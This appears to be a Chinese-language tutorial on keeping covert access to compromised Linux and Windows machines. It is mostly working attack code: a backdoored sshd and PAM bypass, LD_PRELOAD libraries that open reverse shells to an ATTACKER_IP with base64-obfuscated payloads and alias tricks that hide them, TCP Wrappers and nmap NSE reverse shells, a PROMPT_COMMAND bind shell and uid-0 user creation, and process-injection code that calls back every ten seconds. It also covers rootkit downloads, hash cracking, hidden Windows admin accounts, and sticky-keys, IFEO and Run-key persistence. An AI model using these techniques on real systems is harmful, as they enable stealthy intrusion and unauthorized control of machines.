ssh root@xxx.xxx.xxx.xxx -p 12345

注意:这个如果目标在执行软连接的时候,如果使用了其他账号创建,则登录的时候需要使用对应的账号,而非root

上面提到要更改软连接su名字,需要用以下命令,xxxxxx为你需要更改的名字:

1
2
3
4
5
6
7
echo " 
#%PAM-1.0
auth sufficient pam_rootok.so
auth include system-auth
account include system-auth
password include system-auth
session include system-auth " >> /etc/pam.d/xxxxxx

之后再开启端口监听,用于登录

1
ln -sf /usr/sbin/sshd /tmp/xxxxxx;/tmp/xxxxxx -oPort=12345

当然,也可以使用其他软连接名字,但是文件必须得在/etc/pam.d 目录下存在。在/etc/pam.d目录下执行:

1
find ./ |xargs grep "pam_rootok" 

出现如下内容,则说明以下的名字皆可以作为软连接名称
./config-util:auth sufficient pam_rootok.so
./chfn:auth sufficient pam_rootok.so
./chsh:auth sufficient pam_rootok.so
./runuser:auth sufficient pam_rootok.so
./su:auth sufficient pam_rootok.so
./xxxxxx:auth sufficient pam_rootok.so

1
2
3
4
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=23333
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=23334
ln -sf /usr/sbin/sshd /tmp/runuser;/tmp/runuser -oPort=23335
....

登录方式同上

SSH wrapper后门

init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是13377就执行sh给个shell。

1
2
3
4
5
6
7
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

攻击机连接:
socat STDIO TCP4:172.17.0.2:22,sourceport=13377
image-20220109182320431

  • 端口不可随意修改

  • socat官网:http://www.dest-unreach.org/socat/

    安装命令

    1
    2
    3
    4
    5
    6
    wget http://www.dest-unreach.org/socat/download/socat-1.7.4.3.tar.gz
    tar -zxvf socat-1.7.4.3.tar.gz
    cd socat-1.7.4.3.tar
    ./configure&&make&&make install
    或者
    apt install socat

检测:

1
2
ls -al /usr/sbin/sshd 
# cat /usr/sbin/sshd

解决:

1
2
3
rm -rf /usr/sbin/sshd 
mv /usr/bin/sshd /usr/sbin;
/etc/init.d/ssh restart //或者直接重装ssh服务

利用系统服务程序

修改/etc/inetd.conf
daytime stream tcp nowait /bin/sh sh –I

trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序

TCP/UDP/ICMP Shell

在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉.但是对于UDP(DNS、ICMP)相关流量通常不会拦截.

主要原理就是利用ICMP中可控的data字段进行数据传输

Github上的协议后门利用

1
https://github.com/andreafabrizi/prism

Inf0查看配置参数

image-20220109234315200

  1. 配置回连主机、端口以及密钥防止第三方连接

image-20220109234141733

  1. 然后需要在肉鸡上编译后门

image-20220109233436205

这里使用DDETACH选项

1
2
3
gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c
//启动prism
./prism
  1. 攻击机准备连接

图片

1
2
3
4
5
6
7
8
nc -l -p 6666 
./sendPacket.py 192.168.0.1 p4ssw0rd 192.168.0.10 6666
/*
192.168.0.1 is the victim machine running prism backdoor
p4ssw0rd is the key
192.168.0.10 is the attacker machine address
6666 is the attacker machine port
*/

image-20220109234526075

  • 注意:在重启机器之后失效

共享库文件(so)

在共享库中嵌入后门函数,使用后门口令激活Shell,获得权限能够躲避系统管理员对二进制文件本身的 校验

在Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LDPRELOAD环境变量和默认配置文件**/etc/ld.so.preload**,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LDPRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,这样就导致了动态链接库文件可以被当做后门使用.

参考

https://www.freebuf.com/column/162604.html

动态库链接顺序:

1
LD_PRELOAD --> LD_LIBRARY_PATH --> /lib --> /usr/lib

LD_PRELOAD实验

首先创建了一个jaky.c文件,其中调用time方法,然后创建了一个jakylib.c,其中生成了一个time方法供test调用

编译后用LD_PRELOAD=$PWD/jakylib.so ./jaky劫持了time.

实践:

1
2
3
4
5
6
7
8
9
//jaky.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(){
srand(time(NULL));
return 0;
}
//编译:gcc -o jaky jaky.c
1
2
3
4
5
6
//jakylib.c
#include <stdio.h>
int time(){
printf("hello Jaky");
return 0; //the most random number in the universe
}//编译:gcc -shared -fPIC jakylib.c -o jakylib.so

将环境变量LD_PRELOAD修改为jakylib.so供jaky程序调用

1
2
3
4
# 全局加载
LD_PRELOAD=jakylib.so
# 单个进程加载
LD_PRELOAD=jakylib.so ./jaky

查看结果:

image-20220109235730934

成功劫持

LD_PRELOAD实战

思路:

  1. 寻找动态链接的函数
  2. 覆盖这个函数,并且在内部重写
  3. 先把原函数指针赋值给一个变量
  4. 执行我们的代码
  5. 执行原函数
  6. 正常返回值

这里选用whoami进行演示

1
ltrace whoami

image-20220110112241188

准备payload.c

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

int puts(const char *message) {
int (*new_puts)(const char *message);
int result;
new_puts = dlsym(RTLD_NEXT, "puts");
system("python3 -c \"import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTcyLjE3LjAuMSIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp')))\"");
result = new_puts(message);
return result;
}

python代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os,socket,subprocess;
ret = os.fork()
if ret > 0:
exit()
else:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.17.0.1", 6666))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
except Exception as e:
exit()

编译共享库so

1
2
3
4
gcc -shared -fPIC -o payload.so -D_GNU_SOURCE -ldl payload.c
//-ldl参数是必须的,原因是使用了dlsym对puts进行了重写
export LD_PRELOAD=/tmp/payload.so
//添加LD_PRELOAD环境变量,如果想要持久化就写在.bashrc或者其他文件中

执行命令

1
whoami

image-20220110113627792

  • 隐藏后门

    显示环境变量的命令主要有以下几种

    • echo $LD_PRELOAD
    • env
    • set
    • export
    • cat /proc/$PID/environ

    主要采用alias的方式隐藏

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    //隐藏echo
    alias echo='func(){ echo $* | sed "s!/home/helper/hook.so! !g";};func'
    //隐藏env
    alias env='func(){ env $* | grep -v "/home/helper/hook.so";};func'
    //隐藏set
    alias set='func(){ set $* | grep -v "/home/helper/hook.so";};func'
    //隐藏export
    alias export='func(){ export $* | grep -v "/home/helper/hook.so";};func'
    //劫持unalias
    alias unalias='func(){ if [ $# != 0 ]; then if [ $* != "echo" ]&&[ $* != "env" ]&&[ $* != "set" ]&&[ $* != "export" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};func'
    //劫持alias
    alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'

    将其写在以下任意文件即可

    1
    2
    3
    4
    5
    6
    /etc/profile
    /etc/bashrc
    ~/.bashrc
    ~/.bash_profile
    ~/.bash_login
    ~/.bash_logout
    • 也可以根据alias后门中的方法一样,卸载配置文件中引用的其他配置文件中,增强隐蔽性。

终极后门

修改setlocale函数进行Hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <locale.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/types.h>
#define ATTACKER_IP "192.168.119.164"
#define ATTACKER_PORT 15638

typedef char *(*setlocale_t)(int category, const char *locale);
setlocale_t real_setlocale;

char *setlocale(int category, const char *locale) {
// fprintf(stderr, "called setlocale(%d, %s)\n", category, locale);
if(fork()==0){
int nochdir = 0;
int noclose = 0;
daemon(nochdir, noclose);
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(ATTACKER_PORT);
sa.sin_addr.s_addr = inet_addr(ATTACKER_IP);
int sockt = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sockt, (struct sockaddr *)&sa, sizeof(sa)) != 0) {
//printf("Segmentation fault");
// printf("[ERROR] connection failed.\n");
return "en_US.UTF-8";
}
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char *const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
// system("echo 'YmFzaCAtaSAmPi9kZXYvdGNwLzE4Mi4xNjAuOS4zNS8xNTYzOCA8JjE='|base64 -d|bash -i");

}
if (!real_setlocale) {
real_setlocale = dlsym(RTLD_NEXT, "setlocale");
return real_setlocale(category, locale);
}

}

用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
修改反弹shell配置
#define ATTACKER_IP "192.168.119.164"
#define ATTACKER_PORT 15638

编译
gcc -shared -fPIC -D_GNU_SOURCE -ldl -o setlocale.so setlocale.c

写入/etc/profile
# System global API definition
if [ -f /tmp/.bash_resource ]; then
. /tmp/.bash_resource
fi

写入/tmp/.bahs_reource
export LD_PRELOAD=/tmp/setlocale.so

触发

1
2
3
4
whoami
id
ssh
...

image-20220914214720951

具体原理看:权限维持之LD_PRELOAD动态链接库后门这篇文章

可装载内核模块(LKM)

LKM:Loadable Kernel Modules
动态的加载,不需要重新编译内核。
截获系统调用,具有隐藏目录、文件、进程、网络连接等强大功能。
自身隐蔽性好,发现难度较大。
著名的LKM包有adore和knark。

内核级rootkit Kbeast的安装与使用
支持的内核版本有2.6.16, 2.6.18, 2.6.32, and 2.6.35。

wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz

config.h配置密码等
img

安装./setup build
img

守护进程的PID是1747

隐藏目录:
img

通过命令是无法查看开放端口的
img

ps aux命令也是无法查看到进程,除非指定进程名称,我们把后门进程名称伪靠系统服务也是可以让管理员头疼。

而通过nmap全端口扫描出现了13377后门端口,通过telnet连接
img

使用总结:
隐藏进程、隐藏端口
支持版本太少、重启将失效。

http://vinc.top/2016/06/07/%E5%86%85%E6%A0%B8%E7%BA%A7rootkit-kbeast%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E4%BD%BF%E7%94%A8/

Git hooks

  • 原是XTERM反弹Shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
2
3
xterm -display 10.10.10.11:1
Xnest :1
xhost +targetip

老外将xterm与Git结合

1
2
3
echo "xterm -display <attacker IP>:1 &" > .git/hooks/pre-commit`
`chmod +x .git/hooks/pre-commit
Xnest:1

当更新git的时候会触发:

1
git commit -am "Test"

PROMPT_COMMAND后门

前提:

  • 需要安装python2环境
  • Linux环境

bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。

一般运维人员都将用来记录每个用户执行命令的时间ip等信息。
每执行一个命令之前都会调用这个变量将你操作的命令记录下来。

1
export PROMPT_COMMAND='{ date "+[ %Y%m%d %H:%M:%S `whoami` ] `history 1 | { read x cmd; echo "$cmd      from ip:$SSH_CLIENT   $SSH_TTY"; }`"; }&gt;&gt; /home/pu/login.log'

但是在安全人员手里味道变得不一样了

export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c "exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))" 2>/dev/null &)"
Base64解密:

1
2
3
4
5
6
7
8
9
10
11
12
import socket,os,sys
s=socket.socket()
s.bind(("",1025))
s.listen(1)
(c,a)=s.accept()
while 1:
d=c.recv(512)
if 'exit' in d:
s.close()
sys.exit(0)
r=os.popen(d).read()
c.send(r)

一段简单的python socks监听命令
image-20220113001626644

NC连接
nc 192.168.1.174 1025
image-20220113001609161

PROMPT_COMMAND提权

这个只是留做后门,有些黑客则是利用这点来进行提权。
这个要求管理员有su的习惯,我们可以通过它来添加一个id=0的用户

1
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"

除此之外可以利用script记录某人行为:
基本用法:

script -t 2>demo.time -a demo.his 记录保存为录像
scriptreplay demo.time demo.his 播放记录

用户家目录下,修改环境变量,使得用户登录就会触发录像

1
2
vi ~/.profile
script -t -f -q 2>/wow/$USER-$UID-`date +%Y%m%d%H%M%S`.time -a /wow/$USER-$UID-`date +%Y%m%d%H%M%S`.his

Sudoers “trick”

其实Sudoers并不算后门,是一个Linux用户控制权限
通过root权限改写对普通用户可执行root命令

1
echo 'WWW ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers

授权用户/组 主机=[(切换到哪些用户或组)] [是否需要输入密码验证] 命令1,命令2,...
img

更详细文章参考:
https://segmentfault.com/a/1190000007394449

TCP Wrappers

TCP_Wrappers是一个工作在应用层的安全工具,它只能针对某些具体的应用或者服务起到一定的防护作用。比如说ssh、telnet、FTP等服务的请求,都会先受到TCP_Wrappers的拦截。

TCP_Wrappers有一个TCP的守护进程叫作tcpd。以telnet为例,每当有telnet的连接请求时,tcpd即会截获请求,先读取系统管理员所设置的访问控制文件,合乎要求,则会把这次连接原封不动的转给真正的telnet进程,由telnet完成后续工作;如果这次连接发起的ip不符合访问控制文件中的设置,则会中断连接请求,拒绝提供telnet服务。

这里利用ssh触发TCP_Wrappers

肉鸡写入TCP_Wrappers后门

1
echo 'ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/"%a"/443 0>&1") & :allow'>/etc/hosts.allow

攻击机监听连接

1
nc -lnvvp 443

攻击机发起ssh请求,触发TCP_Wrappers规则,反弹shell

1
ssh root@<victim IP>

image-20220114095253661

nmap nse后门

很多linux系统中默认都安装了nmap

1
2
3
4
mkdir -p ~/.nmap/scripts/
cd ~/.nmap/scripts/
curl -O 'https://raw.githubusercontent.com/ulissescastro/linux-native-backdoors/master/nmap/http-title.nse'
local payload = "ZWNobyAiKi8xICogKiAqICogcHl0aG9uIC1jIFwiZXhlYygnYVcxd2IzSjBJSE52WTJ0bGRDeHpkV0p3Y205alpYTnpMRzl6TzJodmMzUTlKekV5Tnk0d0xqQXVNU2M3Y0c5eWREMDBORE03Y3oxemIyTnJaWFF1YzI5amEyVjBLSE52WTJ0bGRDNUJSbDlKVGtWVUxITnZZMnRsZEM1VFQwTkxYMU5VVWtWQlRTazdjeTVqYjI1dVpXTjBLQ2hvYjNOMExIQnZjblFwS1R0dmN5NWtkWEF5S0hNdVptbHNaVzV2S0Nrc01DazdiM011WkhWd01paHpMbVpwYkdWdWJ5Z3BMREVwTzI5ekxtUjFjRElvY3k1bWFXeGxibThvS1N3eUtUdHdQWE4xWW5CeWIyTmxjM011WTJGc2JDaGJKeTlpYVc0dlltRnphQ2NzSUNjdGFTZGRLVHNLJy5kZWNvZGUoJ2Jhc2U2NCcpKVwiIiB8IGNyb250YWI="

base64解密

1
echo "*/1 * * * * python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO2hvc3Q9JzEyNy4wLjAuMSc7cG9ydD00NDM7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChob3N0LHBvcnQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbJy9iaW4vYmFzaCcsICctaSddKTsK'.decode('base64'))"" | crontab -

解密

1
import socket,subprocess,os;host='127.0.0.1';port=443;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash', '-i']);

可以将127.0.0.1改成你的地址
img

进程注入

使用ptrace向已运行进程中注入.so并执行相关函数,其中的“注入”二字的真正含义为:此.so被link到已运行 进程空间中,从而.so中的函数在目标进程空间中有对应的地址,然后通过此地址便可在目标进程中进行调用。

方法

1、在目标进程中找到存放“加载.so的实现代码“的空间(通过mmap实现)

2、把“加载.so的实现代码“写入目标进程指定的空间

3、启动执行

linux-inject实验

项目地址:https://github.com/gaffe23/linux-inject

编译:

1
2
3
4
5
6
# arm
make arm
# x86
make x86
# x86_64
make x86_64

由于很多Linux发行版不允许从一个进程pstrace另一个进程,所以可能需要暂时关闭该限制

1
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

进程注入

1
2
3
# -p选择pid注入,-n选择进程名注入
./inject -n sample-target sample-library.so
./inject -p 1215 sample-library.so

注入成功

image-20220920142909453

pmap查看进程已经加载了so文件

image-20220920150345821

这个项目使用的是__attribute__((constructor)执行c代码

image-20220920143226642

注入tomcat也是完全ok的

image-20220920143933233

究极后门之定时反弹shell

根据项目linux-inject的sample-library.c为模板,加入LD_PRELOAD的终极后门配方,熬制而成,先看reverse.c(动态链接库)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <signal.h>
#define ATTACKER_IP "192.168.119.164"
#define ATTACKER_PORT 15638

#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
} while (0)

void cleanupRoutine(int signal_number)
{
write(STDERR_FILENO, "hello", 5);
_exit(EXIT_SUCCESS);
}

void func(int signum)
{
wait(NULL);
}

void hello()
{
printf("hello\n");
if(fork()==0){
while(1){
sleep(10);
int c_pid = fork();
if(c_pid==0){
printf("daemon fork\n");

struct sigaction sigterm_action;

memset(&sigterm_action, 0, sizeof(sigterm_action));
sigterm_action.sa_handler = &cleanupRoutine;
sigterm_action.sa_flags = 0;

// Mask other signals from interrupting SIGTERM handler
if (sigfillset(&sigterm_action.sa_mask) != 0)
errExit("sigfillset");

// Register SIGTERM handler
if (sigaction(SIGTERM, &sigterm_action, NULL) != 0)
errExit("sigaction");

struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(ATTACKER_PORT);
sa.sin_addr.s_addr = inet_addr(ATTACKER_IP);
int sockt = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sockt, (struct sockaddr *)&sa, sizeof(sa)) != 0) {
//printf("Segmentation fault");
printf("[ERROR] connection failed.\n");
//fflush(stdout);
_exit(EXIT_FAILURE);
}
else{
//daemon(0,0);
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char *const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
_exit(EXIT_SUCCESS);
}
}else if(c_pid>0){
signal(SIGCHLD,SIG_IGN);
}

}
}
}

__attribute__((constructor))
void loadMsg()
{
hello();
}

  • 第一个fork()创建子进程,用于执行注入进程之外的c代码
  • 然后通过while循环,每隔10秒,创建一个子进程,注册SIGTERM信号处理器,当exit时能够完全退出,不至于子进程越来越多,然后就是常规的反弹shell代码。
  • signal(SIGCHLD,SIG_IGN)忽略信号直接kill子进程,防止僵尸进程

编译运行

1
2
3
4
5
6
# 编译reverse.c为reverse.sp动态链接库
gcc -shared -fPIC -D_GNU_SOURCE -o reverse.so reverse.c
# 运行sample-object
./sample-object
# 进程注入
./inject -n sample-object reverse.so

成功反弹shell

image-20220920215920245

目标系统的进程也十分清爽,保持只有一个真正的反弹shell子进程

注入tomcat也是可以的

1
./inject -p 30808 reverse.so

image-20220920220838275

cymothoa进程注入后门

1
2
3
4
5
6
7
8
9
10
wget https://sourceforge.net/projects/cymothoa/files/cymothoa-1-beta/cymothoa-1-beta.tar.gz/download
tar -zxvf cymothoa-1-beta.tar.gz
cd cymothoa-1-beta
gcc cymothoa.c -o cymothoa
//查看进程
ps -aux
//查看payload
./cymothoa -S
//注入进程
./cymothoa -p 4634 -s 1 -y 10000
  • -p参数:用来指定需要注入的进程的 pid
  • -s参数:用来指定使用shellcode 的序号
  • -y参数:用来指定反向 shell 的端口,即别人连接自己时需要连接的端口。

./cymothoa -p 1014 -s 0 -y 8888
img

JadedWraith后门

项目地址:https://github.com/phath0m/JadedWraith

在肉鸡上编译:

1
2
3
4
$ ./configure.sh
$ make
$ ls -lart bin
-rwxrwxr-x. 1 root root 19712 Jul 31 13:08 JadedWraith-2.0.0-Linux-x86_64.elf

安装pip依赖

1
2
3
4
apt-get update
apt-get install python3-pip
pip3 install termcolor
pip3 install pycryptodome

配置JadedWraith

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ./conf_jawr
JadedWraith Configuration

Please choose a JadedWraith binary to use:
1. JadedWraith-2.0.0-Linux-x86_64.elf
Binary : 1
Shared Key [95454c93c8d5d30a0782da72ade10e29] :
Enable passive mode (ICMP wakeup) ? [y/n] y
Wakeup Password [4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj] :
argv[0] (Leave blank to not spoof command) [] :

JadedWraith Executable : /tmp/JadedWraith/configured/builds/JadedWraith-2.0.0-Linux-x86_64.1627752415.bin

Try me!
sudo ./wraith-client.py <IP_ADDRESS> -k 95454c93c8d5d30a0782da72ade10e29 -P 4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj

在configred启动后门

1
2
chmod +x JadedWraith-2.1.0-Linux-x86_64.1642995235.bin 
./JadedWraith-2.1.0-Linux-x86_64.1642995235.bin

客户端连接:

1
python3 wraith-client.py 172.17.0.4 -k ad11c8e24fac03185532191f97bb592b -P XTJHALaqf5jwty8x0Y6f94LlmVbuOG7XxaAyjei0wlBQvBwi

image-20220124114230673

Windows权限维持

破解

LM

从 Windows Vista/Server 2008 开始,LM 默认关闭,可以从 Windows 系统上的 SAM 数据库或域控制器上的 NTDS 数据库中获取LMHash。

例子:

1
299BD128C1101FD6

破解:

1
2
john --format=lm hash.txt
hashcat -m 3000 -a 3 hash.txt

NTLM

这是密码在现代 Windows 系统上的存储方式,可以通过转储 SAM 数据库或使用 Mimikatz 来获取。它们也存储在 NTDS 文件中的域控制器上

例子:

1
B4B9B02E6F09A9BD760F388B67351E2B

破解:

1
2
john --format=nt hash.txt 
hashcat -m 1000 -a 3 hash.txt

NTLMv1

NTLM 协议在服务器和客户端之间的质询/响应中使用 NTHash。版本 1 已弃用,但仍可能在网络上的某些旧系统中使用。

例子:

1
u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c

破解

1
2
john --format=netntlm hash.txt 
hashcat -m 5500 -a 3 hash.txt

NTLMv2

这是 NTLM 协议的新改进版本,这使得它更难破解。概念与 NTLMv1 相同,只是发送到服务器的算法和响应不同。也通过 Responder 或类似方式捕获。自 Windows 2000 以来在 Windows 中的默认设置。

例子:

1
admin :: n46 isnekpt:08ca45b7d7ae58ee

破解

1
2
john --format=netntlmv2 hash.txt 
hashcat -m 5600 -a 3 hash.txt

在线网站碰撞

https://www.objectif-securite.ch/ophcrack

该网站可以在线破解ntlm hash

影子账户

1.使用如下命令创建隐藏用户并加入管理员组

1
2
net user test$ 123456 /add
net localgroup administrators test$ /add

创建成功后使用net user命令无法查看到此用户,但是在计算机管理页面中还是可以看到,需要通过修改注册表来隐藏。

image-20220114112730600

通过win+R,mmc打开控制台,文件-添加/删除管理单元-添加本地用户和组,可以看到隐藏用户test$

image-20220114113248210

2.打开注册表(HKEY_LOCAL_MACHINE\SAM\SAM),regedit

修改SAM权限,赋予adminitrators完全控制权限。

图片

3.重新打开regedit,将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值。

  • 通过Names下的用户名的类型的值来查找对应的用户

    例如:这里的administrator对应的类型是0x1f4,则Users下对应的是000001F4

    image-20220121220710203

复制F值

图片

图片

4.将test$和所对应项000003F1导出,分别命名为test.reg和1.reg

图片

图片

5.删除test$用户,将test.reg和1.reg导入注册表

1
2
3
net user test$ /del
regedit /s test.reg
regedit /s 1.reg

图片

6.此时在用户组已经看不到test$用户,只能在注册表中能看到。

image-20220121221517431

image-20220121221507144

粘滞键后门

粘滞键指的是电脑使用中的一种快捷键,专为同时按下两个或多个键有困难的人而设计的。粘滞键的主要功能是方便Shift等键的组合使用。一般的电脑连按五次shift会出现粘滞键提示。

演示:

粘滞键位置:c:\windows\system32\sethc.exe

1
命令:move sethc.exe sethc1.execopy cmd.exe sethc.exe

此时连按五次shift键即可启动cmd,而且不需要登录就可以执行。

图片

图片

logon scripts后门

Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。

演示:

注册表位置:HKEY_CURRENT_USER\Environment

1
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\666.exe"    #创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径

image-20220121222215651

重启,cmd.exe成功运行,可以将cmd.exe替换为cs木马上线,但是对于内存查杀的卡巴斯基,作用还是不大。

image-20220121224807781

映像劫持

“映像劫持”,也被称为“IFEO”(Image File Execution Options),在Windows NT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而Windows NT架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就运行出问题。

演示:

注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

在此注册表位置添加项sethc.exe,添加debugger键的值为c:\windows\system32\cmd.exe

1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

图片

此时点击五次shift键会打开cmd。

图片

排查工具:使用PCHunter的系统杂项->映像劫持

image-20220313104649393

右键删除即可

注册表自启动后门

位置一:Run

1
2
3
4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

特点:用户每次登录桌面都执行一次Run下的程序

添加键test,值为后门程序路径。

1
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test1 /t REG_SZ /d "C:\666.exe"

图片

重新启动会自动运行后门程序。

图片

位置二:RunOnce

1
2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

特点:

  1. 用户登录后自执行一次+自删除键值

位置三:Winlogon

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

修改键Userinit的值,重启就会自动运行程序。

图片

图片

位置四:Load

1
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Load

特点:每次登录桌面都执行、没有Load键值需要手动创建

位置五:Startup

Starup对应着开始菜单

